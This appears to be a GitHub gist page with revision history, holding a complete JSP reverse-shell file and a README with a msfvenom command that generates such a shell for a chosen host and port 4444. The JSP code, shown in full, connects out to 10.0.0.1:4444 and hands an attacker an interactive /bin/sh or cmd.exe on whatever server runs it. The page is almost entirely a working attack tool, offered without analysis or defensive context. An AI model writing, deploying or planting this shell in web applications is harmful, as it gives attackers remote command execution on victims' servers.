Skip to content

Instantly share code, notes, and snippets.

@enderphan94
Last active September 19, 2020 16:16
Show Gist options
  • Select an option

  • Save enderphan94/fea3e1ecc9fa77e0c1d267597f9e5bc2 to your computer and use it in GitHub Desktop.

Select an option

Save enderphan94/fea3e1ecc9fa77e0c1d267597f9e5bc2 to your computer and use it in GitHub Desktop.

Revisions

  1. enderphan94 revised this gist Sep 19, 2020. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion README.md
    Original file line number Diff line number Diff line change
    @@ -1 +1 @@
    `msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.192.15 LPORT=4444 -f raw > shell.jsp`
    `msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f raw > shell.jsp`
  2. enderphan94 revised this gist Sep 19, 2020. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion README.md
    Original file line number Diff line number Diff line change
    @@ -1 +1 @@
    `msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.192.137 LPORT=4444 -f raw > shell.jsp`
    `msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.192.15 LPORT=4444 -f raw > shell.jsp`
  3. enderphan94 revised this gist Sep 19, 2020. 1 changed file with 1 addition and 0 deletions.
    1 change: 1 addition & 0 deletions README.md
    Original file line number Diff line number Diff line change
    @@ -0,0 +1 @@
    `msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.192.137 LPORT=4444 -f raw > shell.jsp`
  4. enderphan94 created this gist Sep 19, 2020.
    53 changes: 53 additions & 0 deletions Reverse_shell.jsp
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,53 @@
    <%@page import="java.lang.*"%>
    <%@page import="java.util.*"%>
    <%@page import="java.io.*"%>
    <%@page import="java.net.*"%>
    <%
    class StreamConnector extends Thread
    {
    InputStream zd;
    OutputStream fm;
    StreamConnector( InputStream zd, OutputStream fm )
    {
    this.zd = zd;
    this.fm = fm;
    }
    public void run()
    {
    BufferedReader fr = null;
    BufferedWriter ctw = null;
    try
    {
    fr = new BufferedReader( new InputStreamReader( this.zd ) );
    ctw = new BufferedWriter( new OutputStreamWriter( this.fm ) );
    char buffer[] = new char[8192];
    int length;
    while( ( length = fr.read( buffer, 0, buffer.length ) ) > 0 )
    {
    ctw.write( buffer, 0, length );
    ctw.flush();
    }
    } catch( Exception e ){}
    try
    {
    if( fr != null )
    fr.close();
    if( ctw != null )
    ctw.close();
    } catch( Exception e ){}
    }
    }
    try
    {
    String ShellPath;
    if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
    ShellPath = new String("/bin/sh");
    } else {
    ShellPath = new String("cmd.exe");
    }
    Socket socket = new Socket( "10.0.0.1", 4444 );
    Process process = Runtime.getRuntime().exec( ShellPath );
    ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
    ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
    } catch( Exception e ) {}
    %>